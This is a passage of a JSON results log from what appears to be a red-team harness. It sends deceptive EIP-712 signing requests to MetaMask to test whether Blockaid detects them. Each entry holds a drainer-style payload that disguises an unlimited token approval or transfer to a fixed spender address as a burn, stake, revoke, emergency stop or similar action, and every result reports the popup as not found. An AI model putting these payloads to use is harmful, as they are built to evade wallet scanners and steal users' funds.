"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T18:30:06.741Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T18:30:16.284Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T18:30:25.834Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T18:30:35.377Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T18:30:44.930Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T18:30:54.468Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T18:31:04.025Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T18:31:13.564Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T18:31:23.117Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T18:31:32.663Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN47-EIP3009-022", "timestamp": "2026-01-31T18:31:42.218Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x5523084cb9a733928c268bbfb9353f73208008828514748b39455855e0b47844\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN47-EIP3009-054", "timestamp": "2026-01-31T18:31:51.773Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x928ea7ba530a5d4ec0c8ea5035b86dd6dcda53c12d67c6aa71e3f0c9a2b1ec0e\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T18:32:01.333Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T18:32:10.893Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T18:32:20.449Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T18:32:30.006Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T18:32:39.551Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T18:32:49.112Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T18:32:58.673Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My 